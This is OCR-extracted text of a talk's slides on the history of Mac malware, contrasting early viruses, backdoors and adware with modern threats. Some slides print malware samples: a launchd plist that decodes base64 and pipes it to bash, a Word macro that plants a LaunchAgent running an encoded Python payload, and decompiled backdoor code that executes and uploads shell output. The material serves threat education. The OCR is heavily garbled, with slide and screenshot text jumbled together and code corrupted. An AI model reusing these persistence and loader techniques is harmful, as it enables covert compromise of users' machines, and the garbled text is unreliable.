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Then: first virus

EH( C\Oﬂel” = | 982 Elk Cloner:

The program with a personality

o Firs-t major ViI”US It will get on all your disks

It will infiltrate your chips
Yes 1t's Cloner!

% Affected App\e H COmpUterS It will stick to vou like glue
It will modify ram oo
mend 1n the Cloner!

* Prank




Now: virus-like behavior

. ThiefQuest (2020)
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(o] %
(o] %
C@ ............ ksadmin
CO i eennnns
CO i eeennnns
(o] 2 Sl
CO tiiivennnnns Kind: Unix executable
(o] I UTI: public'unix_
(o] executable
(o] Size: 186 KB
fe ............ Created: Friday, February
90 ............ 21, 2020 at 10:50
PO ... AM
90 ........ H... Modified: Monday, June 29,
00 _ PAGEZERO.. 2020 at 8:49 AM
00 .. Path: /Users/
PO ...
00 ... /Mac
00 .. malware/2020/
00 ..ttt OSX.ThiefQuest/
0 _ TEXT...... 2020-06-29/
00 ...i.iniinn... Google helpers
00 ..iiniinnnn. (modified)/
00 e, ksadmin



[Then: first polymorphic & encrypted malware

Enclosed you will find my

& D <1988 custom Graphics Accelerator
that helps PPC macs speed

e \irus graphics programs up that
use 68K code. It uses a

» Some versions deleted files custom blitting subroutine,
and 1t should work on PPC

* Polymorpnic & encrypted apps as well. Please include

it in your Graphics/
Utilities directory. Thank
you very much.

» Claimed to speed up graphics



Now: many obfuscation technigues!

Obfuscated shell scripts
UPX
Highly-obfuscated binary code

Compiled AppleScript

Apps built with Go, Rust, Electron, etc

® O
&+ ~/Box Sync/...[...[...[.../user Laun... ¢

14
15
16

r

L: 1C: 1 XML ¢

% com.chrome.extensionsPop.plist

k?xml version="1.0" encoding="UTF-8"?7>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST
1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>StartInterval</key>
<integer>3600</integer>
<key>Label</key>
<string>com.chrome.extensionsPop</string>
<key>ProgramArguments</key>
<array>
<string>sh</string>
<string>-c</string>
<string>echo
b3BlbiAtbmEgJ@dvb2dsZSBDaHIvbWUNICOtYXIncyAtbG9hZ(C1l
1leHR1bnNpb249Jy9wcm12YXR1L3Zhci90bXAVMjNFNTY5QzItQj
1BRCOOMD LELUIWN]j ctQkIJBNzZGMTBCQjU4JyAtLW5 ldyl3aW5kb
3¢cg0i8vYXRpb253aW5kb24uY29tLz90aWQ90TQ5MTE1Ow==
base64 —--decode | bash</string>
</array>
</dict>
</plist>

(functions) ¢ 4 v v #v |

»i‘ Saved: 2/25/22, 9:58:32 PM 7 642 [ 55...



Then: first VWord macro virus

E oncept - 995

* First cross-platform malware

 Not malicious

Norstad's

» Brought about the end of John

Disinfectant app

|=| Macro

M - | |
Macro Name Record...

Hun

FileSaveAs

PaylLoad Create |
Presentit

Delete |

Organizer... l
+] Help |
Macros Available In:

IAII Active Templates ‘ :I

Descrniption:




Now: Word macro malware

O] © . untitled text 9
£+ (New Document) ¢ P~ v B

1 Private Sub Document_Open()
2 Dim path As String
3 Dim payload As String
4 payload = "import base64,sys;exec(base64.b64decode({2:str,3:lambda
b:bytes(b, 'UTF-8')}[sys.version_infol[@1]1('[...1"')));"
path = "%HOMES/../../../../Library/LaunchAgents/~%$com.xpnsec.plist"
arg = "<?xml version=""1.0"" encoding=""UTF-8""7>
& Ne lon ger commaon o Moo 7 <IDOCTYPE plist PUBLIC ""—//Apple//DTD PLIST 1.0//EN""
- ""http://www.apple.com/DTDs/PropertyList-1.0.dtd"">
8 <plist version=""1.0"">
9 <dict>
10 <key>Label</key>

= Stl” pOpU‘ar Wl_th I’Ed teamS 11 <string>com.xpnsec.sandbox</string>

o U

12 <key>ProgramArguments</key>
13 <array>

14 <string>python</string>

15 <string>-c</string>

@ Targe'ted 16 <string>" & payload & "</string></array>

17 <key>RunAtLoad</key>

18 <true/>

19 </dict>

20 </plist>"

21 Result o Sy5tem("eChO i & arg & nun g 1 & path & |||||' uru)
22 End Sub

L: 1C: 1 (none) ¢ ' (never saved) 17 736/91/22 Q - 100% ¢




Then: first backdoor

#!/bin/bash

i

Renepo - 2004 T e A
# opener 2.3.8 - a startup script te turn ai
o -TkCUaTW g:rvices and gather user info & hashes for Mac
X

o ANl iyl
First Mac backdoor A ALyttt

# Originally written by DimBulb

e D diltrated a lot of data

# Additional code: JawnDoh!, Dr Springfield,
glpple

» Changed LOTS of system settings

# Additional ideas and advice: Zo, BSDOSX



Now: backdoors a-plenty!

» Custom code

¥ ey common, harder to detect

 Red team tools

« Cobalt Strike Beacons,

—goShell,

mlfa

e

—vIIOS X, basic reverse shell

—(void)ExecuteShellCmdAndUpload: (void x)arg2 {
var_168 = self;
rbx = [arg2 retain];
var_188 = objc_autoreleasePoolPush();

rax = [NSPipe pipel;

rax = [rax retain];

rl5 = rax;

rl3 = [[rax fileHandleForReading] retain];
rax = [NSTask alloc];

rax = [rax init];

rl2 = rax;

[rax setLaunchPath:@"/bin/bash"];

var_40 = @"-c";

var_190 = rbx;

x(&var 40 + 0x8) = rbx;

rax = [NSArray arrayWithObjects:@"/bin/bash" count:0x2];
rax = [rax retain];

[r12 setArguments:rax];

[rax releasel:

var_180 = ril5;

[r12 setStandardOutput:ril5];

[r12 launch];

var_170 = rl2;

[r12 waitUntilExit];

rbx = [[rl13 readDataToEndOfFile] retain];



RS

0 hen: Tirst financial malwaee

lug - 2007/

» Changed DNS settings

 Redirected to phishing sites

-ventually shut down by the F

3

000 ' temp -
B = e N
B e ol % Q
E ) Network w
E __ Macintosh HD =
|| &I Desktop

% lab
| /A Applications
' |1 Documents
| o
E =% Movies
| & Music

.. Pictures

1 of 1 selected, 60.99 GB available _/@




Now: many are financially motivated

Price Display

Cryptominers
Crypto stealers . Welcome To Esilet

Info stealers

USD19397.880

Less common this year t

* [raderlraitor - North Korean oo G
spyware/stealer




T hen: first PUP

MACSWEEPER

MacSweeper - 2003

* Junk cleaning tool

item Type
Cookies ()

A . v#¥ Caches 227 item:
| " " s i | # com.apple.preferencepanes.cache Trash
o WO U | d n -t S O ‘Ve p ro b ‘ e m S W |-th O u-t # com.apple.preferencepanes.searchindexcache Trash
¥ Desktop Trash
¥ Metadata Trash
purchase o

‘ v#™  System Caches 35 items

¥ /System/Library/Caches/com.apple.bootefisignature Trash :

* Sneaky Installation

Remove Objects




PUPs everywhere!

Help

Mon 5:056 PM Q =

[A Go

Macintosh HD

s My Metronome

LIMITED TIME OFFER

Continue with limited version

BPM Tracking

* Junk "cleaning” and AV apps

Guitar Tuner

£ 0llfe Infected scam sites

Remove Ads

* Some now have system extensions!

Subscription renews automatically until canceled
Terms and Conditions
~

==

MICROPHONE -=»

-
E'.'

§ 0 apbps In App Store

» Subscription scams



T hen: first adware

OpinionSpy - 2010

» At the time, considered "spyware’

i - -
PR A 3. .
- - " C—— - e s L Beg N O -
8
.4 ] - '.. )
. N LN

l‘t-screensave FS.Coman

P e : Ads by Google Home | Mac OS5 X | Clocks | 2D | Wallpapers | Videos | Privacy | Contact Us
-ssentially a tracker e pacos 'S
Aguanym 3D
LED Clock FEATURED SCREENSAVERS:
CIOck Saver

Page: 123456789

* First found In /art screensavers Top e Savrs .

Coystal Clock | Welcome into the secret land where all nature seems to be
Gravity Clock dancing as if celebrating its harmony and virginity of the
Clock Factory . world. Peculiar plants, friendly creatures and cheery waters

stream down relaxative spirit of pure beauty and simple joy
into your PC and your mind.

» Oldest Mac malware still operating
today!




Adware today prolific & sophisticatea

® O Install Flash Player

1 item

¥ LJiten not signed

1 Right-click this icon and choose Open

» (Causes all manner of security holes n

o \/ E RY S n ea|<>/! Install Flash Player

2 Click Open

» Often evades analysis

“AdobeFlashPlayer.app” is from an

unidentified developer. Are you sure you
9 3 want to open it?

Opening “AdobeFlashPlayer.app” will always allow it to

» Copying & modifying Safari to get a
browser extension Installed : el —




Questions!



